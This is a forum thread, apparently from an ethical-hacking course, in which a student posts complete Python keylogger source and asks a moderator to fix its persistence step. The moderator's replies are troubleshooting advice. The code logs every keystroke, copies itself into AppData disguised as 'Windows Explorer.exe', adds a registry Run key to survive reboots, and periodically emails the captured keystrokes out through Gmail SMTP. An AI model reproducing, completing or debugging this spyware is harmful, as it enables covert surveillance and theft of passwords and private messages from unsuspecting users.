- This topic has 24 replies, 2 voices, and was last updated 4 years, 3 months ago by Diego Pérez.
- AuthorPosts
- August 2, 2020 at 9:31 pm #43499sultandParticipant
The below command is what I used in trying to make my keylogger persistent. Please can you check it and correct my mistakes as I am not able to get it to work, giving fetal error message
===============================================================================================
#!/usr/bin/env pythonimport pynput.keyboard
import threading
import smtplib
import subprocess
import os
import sys
import shutil
class Keylogger:
def __init__(self, time_interval, email, password):
self.become_persistent()
self.log = “Keylogger started”
self.interval = time_interval
self.email = email
self.password = password
def become_persistent(self):
evil_file_location = os.environ[“appdata”] + “\\Windows Explorer.exe”
if not os.path.exists(evil_file_location):
shutil.copyfile(sys.executable, evil_file_location)
subprocess.call(‘reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v update /t REG_SZ /d “‘ + evil_file_location + ‘”‘, shell=True)
def append_to_log(self, string):
self.log = self.log + string
def process_key_press(self, key):
try:
current_key = str(key.char)
except AttributeError:
if key == key.space:
current_key = ” ”
else:
current_key = ” ” + str(key) + ” ”
self.append_to_log(current_key)
def report(self):
self.send_mail(self.email, self.password, “\n\n” + self.log)
self.log = “”
timer = threading.Timer(self.interval, self.report)
timer.start()
def send_mail(self, email, password, message):
server = smtplib.SMTP(“smtp.gmail.com”, 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
def start(self):
keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
with keyboard_listener:
self.report()
keyboard_listener.join()
August 3, 2020 at 4:53 am #43517Diego PérezModeratorHi!
Can you share your code using the “code” function in the interface so I can read it with the proper indentation? can you share a screenshot of the error?Thanks!
DiegoAugust 3, 2020 at 6:25 am #43519sultandParticipantAugust 4, 2020 at 3:29 am #43588Diego PérezModeratorHi!
There are not attached links, can you share them again?Thanks!
DiegoAugust 4, 2020 at 5:46 am #43596sultandParticipantAugust 4, 2020 at 5:49 am #43597sultandParticipantAugust 5, 2020 at 3:31 am #43654Diego PérezModeratorHi!
As this method is designed for windows you should run it in windows, and don’t use Pycharm to run it, use command prompt instead.Let me know how it goes!
DiegoAugust 5, 2020 at 5:27 pm #43686sultandParticipantHi Diego,
Thank you for your response, I did not understand what you mean by running it in windows, I build the keylogger with Pycharm using python and complied into .exe file and transferred to windows for testing but when I click it to install it in the window I am getting a fatal error message on window, please can you explain more how you want me to go about it, like a said before, this is my first time programing and I am just following step by step shown on Zain lecture.
Can you give me more direction on what I need to do to make the keylogger persistent, if it will be possible to give me step by step in instruction.
I understand that what I am asking maybe too much because you have lots of other student to attend to but I will truly appreciate it if you can give me step by step in instruction on how to do it because its one of most important thing that I wish to achieve on this course.
Once again thank you for your time.
August 6, 2020 at 3:52 am #43707Diego PérezModeratorHi!
All the screenshots you have shared are from Pycharm, and you are trying to run the script in Pycharm’s terminal, so that won’t work. There’s no picture where you show the error of running it in windows as an executable.
The first step is to run the script in windows and know that it works, but eun the script, don’t compile it.Let me know how it goes!
DiegoAugust 6, 2020 at 6:02 pm #43737sultandParticipantPlease kindly go through the links and see all the process I am doing to check where I am doing anything wrong.
https://postimg.cc/t1mHgVtc
https://postimg.cc/NKsh7xdV
https://postimg.cc/rdsv7wXN
https://postimg.cc/QKGwBgBf
https://postimg.cc/NLmZ3nVS
https://postimg.cc/9RTNj4xZ
https://postimg.cc/ppPcgLK5
https://postimg.cc/5YwpRh0m
https://postimg.cc/t1d2S07N
https://postimg.cc/w3j0VGzDAugust 7, 2020 at 3:43 am #43770Diego PérezModeratorHi!
Ok, but you didn’t pay attention to what I said. Does it work as a script? This is the first step and you haven’t clarified it.Let me know.
DiegoAugust 7, 2020 at 4:49 pm #43803sultandParticipantDear Diego,
When I run the script without trying to make it persistent it works fine but when I follow the lecture where Zain make a backdoor persistent it not working, I am getting the error code when I run the script:
Traceback (most recent call last):
File “zlogger.py”, line 4, in <module>
my_keylogger = keylogger.Keylogger(12, “[email protected]”, “……..”)
File “/root/PycharmProjects/keylogger/keylogger.py”, line 13, in __init__
self.become_persistent()
File “/root/PycharmProjects/keylogger/keylogger.py”, line 20, in become_persistent
evil_file_location = os.environ[“appdata”] + “\\Windows Explorer.exe”
File “/usr/lib/python2.7/UserDict.py”, line 40, in __getitem__
raise KeyError(key)
KeyError: ‘appdata’
August 8, 2020 at 2:24 am #43824Diego PérezModeratorHi!
Can you post your code here? Bur use the CODE button in the interface so I can read it with the proper indentation and try it out.Let me know.
DiegoAugust 8, 2020 at 11:32 pm #43858sultandParticipantDear Diego,
I have paste the code on subline text editor and uploaded it on dropbox so you can access it.
https://www.dropbox.com/s/j7bdnvxaks3010v/Keylogger_1.py?dl=0
https://www.dropbox.com/s/w4mt0vd7mdbrst6/Keylogger_2.py?dl=0I hope you find it in order
August 9, 2020 at 3:39 am #43867Diego PérezModeratorHi!
Thanks, give me a couple of days and I’ll get back to you.Greetings!
Diego - AuthorPosts
- You must be logged in to reply to this topic.